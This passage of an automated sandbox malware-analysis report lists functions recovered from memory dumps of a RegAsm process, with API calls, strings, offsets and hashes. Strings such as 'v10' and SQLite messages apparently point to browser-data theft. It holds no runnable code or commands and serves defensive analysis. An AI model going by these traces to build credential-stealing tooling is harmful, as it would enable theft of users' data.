memset.MSVCRT ref: 00406457
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00000000,00000000), ref: 0040648C

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040E986: lstrlenA.KERNEL32(?,00000000,?,00415A25,004254FF,004254FE,00000000,00000000,?,004162DD), ref: 0040E98F
Part of subcall function 0040E986: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E9C3

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Strings

v10, xrefs: 00406420

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocH_prologLocallstrlenmemcmpmemset
String ID: v10
API String ID: 2733184300-1337588462
Opcode ID: a10310a5beb8e6b2362bc1ef26a1ee171380ee08742ace6ef0a7a288a273b569
Instruction ID: 31f1892578ae71bd533c688e9055ca7098b3e9a2a139d2734b5ae6b748e23c41
Opcode Fuzzy Hash: a10310a5beb8e6b2362bc1ef26a1ee171380ee08742ace6ef0a7a288a273b569
Instruction Fuzzy Hash: 08319EB1900219ABCB00DFA5DC81AEEBB78EF44354F10453BF912BB1D5D778AA14CA58

Uniqueness

Uniqueness Score: -1.00%

Function 1B56EBD0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B56EC4C
CREATE , xrefs: 1B56EBFF
%s at line %d of [%.10s], xrefs: 1B56EC51
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B56EC42

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$CREATE $database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-1360532505
Opcode ID: 7ffa8636b262ffb0df9a7936da06d2291f973d14da7c040bb77f7ece036a9ae6
Instruction ID: 812f77a341825c33e16e2bf1059f88d091e95a303670666d783b515b2b5e173d
Opcode Fuzzy Hash: 7ffa8636b262ffb0df9a7936da06d2291f973d14da7c040bb77f7ece036a9ae6
Instruction Fuzzy Hash: 01313C625053C19EFF214B699C40BF67FA1AB5539AF1401FBF8C54A142F7269580E731

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C7050 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 98COMMON

Download Yara Rule

Strings

out of memory, xrefs: 1B4C7059, 1B4C70A2
invalid, xrefs: 1B4C706F
API call with %s database connection pointer, xrefs: 1B4C7074
bad parameter or other API misuse, xrefs: 1B4C7083

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: API call with %s database connection pointer$bad parameter or other API misuse$invalid$out of memory
API String ID: 0-453588374
Opcode ID: afbb279cb9d71bf3953ecfd920b39d040ddeaa5069e6b26bcb1ccf9a31d1f46a
Instruction ID: d3899a12ceede52628e91811af131c664c9939ebd1c12081bd03d8f4ad048fa6
Opcode Fuzzy Hash: afbb279cb9d71bf3953ecfd920b39d040ddeaa5069e6b26bcb1ccf9a31d1f46a
Instruction Fuzzy Hash: 653125B990074057EB28CA25EC06BEB235B5BD0F15F29C429E4C59A342EA29E8878791

Uniqueness

Uniqueness Score: -1.00%

Function 1B5493A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 93COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B549450, 1B549494
%s at line %d of [%.10s], xrefs: 1B549455, 1B549499
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B549446, 1B54948A

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 89f835234ccc2f1204f4c2dc90640c1dcab4e20a551e9bac9030d573ae9b3bc3
Instruction ID: 30459d0692fc87d67ecba9e35353673ee16c608c8d07b40c86f6d0ee170af1a5
Opcode Fuzzy Hash: 89f835234ccc2f1204f4c2dc90640c1dcab4e20a551e9bac9030d573ae9b3bc3
Instruction Fuzzy Hash: D0312B797007909ED724DF28C991AF3BFF2AF99701B54859CD5C647786E322E841C760

Uniqueness

Uniqueness Score: -1.00%

Function 1B4D4F40 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 91COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B4D4F6C, 1B4D4FFD
%s at line %d of [%.10s], xrefs: 1B4D4F71, 1B4D5002
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4D4F62, 1B4D4FF3

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 6a3b2ebfd5293696c0530ae4d79350cbc4224a927ea99cb2596257b2fdfe940f
Instruction ID: c71767a39eb4191d008826bc0708d0f6fe8686ebec31ce59303233a07c37f8ea
Opcode Fuzzy Hash: 6a3b2ebfd5293696c0530ae4d79350cbc4224a927ea99cb2596257b2fdfe940f
Instruction Fuzzy Hash: 3731E87620464167C7119B29DD91BE6BFF0FF55312F08826AF458CB682D315E56097E0

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A1C60 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 88COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B4A1D46
%s at line %d of [%.10s], xrefs: 1B4A1D4B
unknown database: %s, xrefs: 1B4A1CBD
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4A1D3C

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$unknown database: %s
API String ID: 0-142545749
Opcode ID: d469296fc88d2a4bc16b5d0caa25f227fc66e5f95b9a1719c28c6302a6dcc7da
Instruction ID: 8c8bc4408412691fac5ffa53ab6e8ba93419a56c87f9744fbaf520d13ddf31ae
Opcode Fuzzy Hash: d469296fc88d2a4bc16b5d0caa25f227fc66e5f95b9a1719c28c6302a6dcc7da
Instruction Fuzzy Hash: 2E21E2B5600741ABE7109B37EC44FDB7AA99FE33A9F00852CF89656381D721A505C772

Uniqueness

Uniqueness Score: -1.00%

Function 1B4D3FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 85COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B4D4087, 1B4D40B2
%s at line %d of [%.10s], xrefs: 1B4D408C, 1B4D40B7
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4D407D, 1B4D40A8

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: d196f24e7a3e32e0f378c61ed39c9b8399bcbd1cfb105425b7f73cd9b7564d33
Instruction ID: ab0440df05766d42f93edf920dc18c47b3018df89a253bdb25b8fce6b5d2c993
Opcode Fuzzy Hash: d196f24e7a3e32e0f378c61ed39c9b8399bcbd1cfb105425b7f73cd9b7564d33
Instruction Fuzzy Hash: E121F8B77003115BCB00EF18EC416EB7BE0EBA8651F41852AFD84D7341E325D55987E2

Uniqueness

Uniqueness Score: -1.00%

Function 1B549290 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B5492A6, 1B549334
%s at line %d of [%.10s], xrefs: 1B5492AB, 1B549339
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B54929C, 1B54932A

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: eace1da236967c571629836e4f42c79364e55efe3d8ae2eae6794d4754787141
Instruction ID: ce05444302f87699733b197a2afb8e20f87c6531dc723d72895bd34fee6c7163
Opcode Fuzzy Hash: eace1da236967c571629836e4f42c79364e55efe3d8ae2eae6794d4754787141
Instruction Fuzzy Hash: 59219B36604B909AD7219F289D82AE3BFF29F59301B44859CE1D287396F332F4818790

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF35 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040CF4C

Part of subcall function 0041D590: std::exception::exception.LIBCMT ref: 0041D5A5
Part of subcall function 0041D590: __CxxThrowException@8.LIBCMT ref: 0041D5BA
Part of subcall function 0041D590: std::exception::exception.LIBCMT ref: 0041D5CB

std::_Xinvalid_argument.LIBCPMT ref: 0040CF6E
memcpy.MSVCRT ref: 0040CFAB

Strings

string too long, xrefs: 0040CF69
invalid string position, xrefs: 0040CF47

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throwmemcpy
String ID: invalid string position$string too long
API String ID: 214693668-4289949731
Opcode ID: e8649d6854edcdf6cfa96b7bf6223182271f1766ac493d023adf57e450021f61
Instruction ID: b0c2c1f02c177d2dc43bd4333e285784eff5f350866f00ec72c68241579f9700
Opcode Fuzzy Hash: e8649d6854edcdf6cfa96b7bf6223182271f1766ac493d023adf57e450021f61
Instruction Fuzzy Hash: 23117972300211DBDB24DF2CD9C1A5AB3AAEB05714B100A2AF552EB2C1D778E944879A

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B33C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

CREATE TABLE x(pgno INTEGER PRIMARY KEY, data BLOB, schema HIDDEN), xrefs: 1B4B33D6

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x(pgno INTEGER PRIMARY KEY, data BLOB, schema HIDDEN)
API String ID: 0-1935849370
Opcode ID: 94dfe5136be57c63567d8dcb77186c45d922ba67cca292fdb42e550f24926504
Instruction ID: f5547fcabe5cb94037d86a02d978ac7105c50c534a52f26f98750517e008a4d0
Opcode Fuzzy Hash: 94dfe5136be57c63567d8dcb77186c45d922ba67cca292fdb42e550f24926504
Instruction Fuzzy Hash: A60196397442165ADB05DF29E8417CAB7D5EFC5311F05C17AF6048B240EB70A84787A1

Uniqueness

Uniqueness Score: -1.00%

Function 1B645BC1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,164B22F7,?,?,00000000,1B69D1CB,000000FF,?,1B645B30,?,?,1B645ADF,?), ref: 1B645BF6
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 1B645C08
FreeLibrary.KERNEL32(00000000,?,?,00000000,1B69D1CB,000000FF,?,1B645B30,?,?,1B645ADF,?), ref: 1B645C2A

Strings

CorExitProcess, xrefs: 1B645C00
mscoree.dll, xrefs: 1B645BEF

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 3516af63af31fe14dd3d29db229c82bff14004516d00286ed8e0c05aa4156a36
Instruction ID: 7cdeca58a17064a0c6d8980f6aab861a2e7f642906d100756a0d06190aa459a5
Opcode Fuzzy Hash: 3516af63af31fe14dd3d29db229c82bff14004516d00286ed8e0c05aa4156a36
Instruction Fuzzy Hash: 640162B2914529AFDB058F90CD44BFEB7BCFB68715F004A29F851A2680DB79D904CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1B5B6A20 Relevance: 8.0, APIs: 5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93ba2142ea2a926e5d9b02b27c8632a6d012321557e18e6b920348f14f4e6f85
Instruction ID: 8ca5dfeba2299fe6a26a2e240e847641616a40df3282bf96674dae22bbd0fcd2
Opcode Fuzzy Hash: 93ba2142ea2a926e5d9b02b27c8632a6d012321557e18e6b920348f14f4e6f85
Instruction Fuzzy Hash: 16028BB09043568FE704CF65DA84B9BBBE9BF94314F04492DFD8987240E774E948CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B51AF80 Relevance: 7.8, APIs: 5, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 328429571dd029f8f14508099e6485f76c98b09132ebd948d08f210fcfe6a5be
Instruction ID: c61e93d7f0832c84bcc94b5f90fb112cd1f8d8db2b3bbe189d81ca60d0940799
Opcode Fuzzy Hash: 328429571dd029f8f14508099e6485f76c98b09132ebd948d08f210fcfe6a5be
Instruction Fuzzy Hash: 47A18D70900621DBF7199F65D8CCB9A376CBFA0255F05082CEC89DA210D735E99DCBE6

Uniqueness

Uniqueness Score: -1.00%

Function 00410041 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410046
memset.MSVCRT ref: 00410068

Part of subcall function 0040FC97: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,?,00410095,00000000), ref: 0040FCA2
Part of subcall function 0040FC97: HeapAlloc.KERNEL32(00000000,?,00410095,00000000), ref: 0040FCA9
Part of subcall function 0040FC97: wsprintfW.USER32 ref: 0040FCBA

OpenProcess.KERNEL32(00001001,00000000,?,?,00000000), ref: 004100EF
TerminateProcess.KERNEL32(00000000,00000000), ref: 004100FD
CloseHandle.KERNEL32(00000000), ref: 00410104

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

